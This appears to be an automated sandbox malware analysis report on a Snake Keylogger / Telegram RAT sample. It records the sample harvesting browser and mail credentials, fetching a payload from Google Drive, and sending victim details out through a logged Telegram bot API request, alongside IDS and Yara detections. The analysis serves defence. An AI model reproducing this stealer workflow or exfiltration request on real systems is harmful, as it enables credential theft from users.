Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Users\user\Desktop\OeM750ajqm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_004034F1 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

3_2_004034F1

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2555642675.0000000036C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2555642675.0000000036D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OeM750ajqm.exe PID: 4940, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\OeM750ajqm.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2555642675.0000000036D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OeM750ajqm.exe PID: 4940, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2555642675.0000000036C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2555642675.0000000036D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OeM750ajqm.exe PID: 4940, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	2 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F87A8 CryptUnprotectData,	4_2_065F87A8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F8EF1 CryptUnprotectData,	4_2_065F8EF1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F87D1 CryptUnprotectData,	4_2_065F87D1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2008/03/2025%20/%2020:15:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49725 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49722 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49720 -> 142.250.185.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49724 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49726 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 104.21.80.1:443

Source: OeM750ajqm.exe	Virustotal: Detection: 58%			Perma Link
Source: OeM750ajqm.exe	ReversingLabs: Detection: 39%

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49723 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49730 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49732 version: TLS 1.0

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0652F45Dh	4_2_0652F2C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0652F45Dh	4_2_0652F4AC
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0652FC19h	4_2_0652F961
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F7EB5h	4_2_065F7B78
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F25A9h	4_2_065F2300
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F9280h	4_2_065F8FB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FA3AFh	4_2_065FA0E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F1CF9h	4_2_065F1A50
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F4D21h	4_2_065F4A78
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F7119h	4_2_065F6E70
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FF13Fh	4_2_065FEE70
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F6CC1h	4_2_065F6A18
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FACCFh	4_2_065FAA00
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F48C9h	4_2_065F4620
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F5179h	4_2_065F4ED0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F7571h	4_2_065F72C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FB15Fh	4_2_065FAE90
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FD14Fh	4_2_065FCE80
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F2151h	4_2_065F1EA8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F2A01h	4_2_065F2758
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FD5DFh	4_2_065FD310
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FF5CFh	4_2_065FF300
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F55D1h	4_2_065F5328
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F79C9h	4_2_065F7720
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FB5EFh	4_2_065FB320
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F5E81h	4_2_065F5BD8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F9A8Fh	4_2_065F97C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FFA5Fh	4_2_065FF790
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F5A29h	4_2_065F5780
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F2E59h	4_2_065F2BB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FBA7Fh	4_2_065FB7B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FDA6Fh	4_2_065FD7A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F9F1Fh	4_2_065F9C50
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F02E9h	4_2_065F0040
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FBF0Fh	4_2_065FBC40
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F3709h	4_2_065F3460
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F32B1h	4_2_065F3008
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F62D9h	4_2_065F6030
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FDEFFh	4_2_065FDC30
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FC39Fh	4_2_065FC0D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FE38Fh	4_2_065FE0C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F0B99h	4_2_065F08F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F0741h	4_2_065F0498
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F6733h	4_2_065F6488
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FE81Fh	4_2_065FE550
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F0FF1h	4_2_065F0D48
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FA83Fh	4_2_065FA570
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FC82Fh	4_2_065FC560
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F18A1h	4_2_065F15F8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FCCBFh	4_2_065FC9F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065FECAFh	4_2_065FE9E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 065F1449h	4_2_065F11A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06633E27h	4_2_06633B58
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06634E18h	4_2_06634B20
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06637458h	4_2_06637160
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06631E37h	4_2_06631B68
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06639F60h	4_2_06639C68
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663CA68h	4_2_0663C770
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066347E8h	4_2_06634478
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06635C70h	4_2_06635978
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663F570h	4_2_0663F278
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066302E7h	4_2_06630040
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06636138h	4_2_06635E40
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663FA38h	4_2_0663F740
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06631517h	4_2_06631248
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06638C40h	4_2_06638948
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663B748h	4_2_0663B450
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663E250h	4_2_0663DF58
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663E718h	4_2_0663E420
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06630BF7h	4_2_06630928
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06637920h	4_2_06637628
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663A428h	4_2_0663A130
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06633507h	4_2_06633238
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663CF30h	4_2_0663CC38
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663D3F8h	4_2_0663D100
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06636600h	4_2_06636308
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06639108h	4_2_06638E10
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06632BE7h	4_2_06632918
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663BC10h	4_2_0663B918
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663C0D8h	4_2_0663BDE0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066342B7h	4_2_06633FE8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066352E0h	4_2_06634FE8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663EBE1h	4_2_0663E8E8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06637DE8h	4_2_06637AF0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066322C7h	4_2_06631FF8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663A8F0h	4_2_0663A5F8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663ADB8h	4_2_0663AAC0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06633997h	4_2_066336C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663D8C0h	4_2_0663D5C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06636AC8h	4_2_066367D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066319A7h	4_2_066316D8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066395D0h	4_2_066392D8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06639A98h	4_2_066397A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06633078h	4_2_06632DA8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663C5A0h	4_2_0663C2A8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066357A8h	4_2_066354B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663F0A8h	4_2_0663EDB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06631087h	4_2_06630DB8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 066382B0h	4_2_06637FB8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06638778h	4_2_06638480
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06632757h	4_2_06632488
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663B280h	4_2_0663AF88
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 0663DD88h	4_2_0663DA90
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06630767h	4_2_06630498
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then jmp 06636F90h	4_2_06636C98
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_0665F228
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_0665F218

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OeM750ajqm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
OeM750ajqm.exe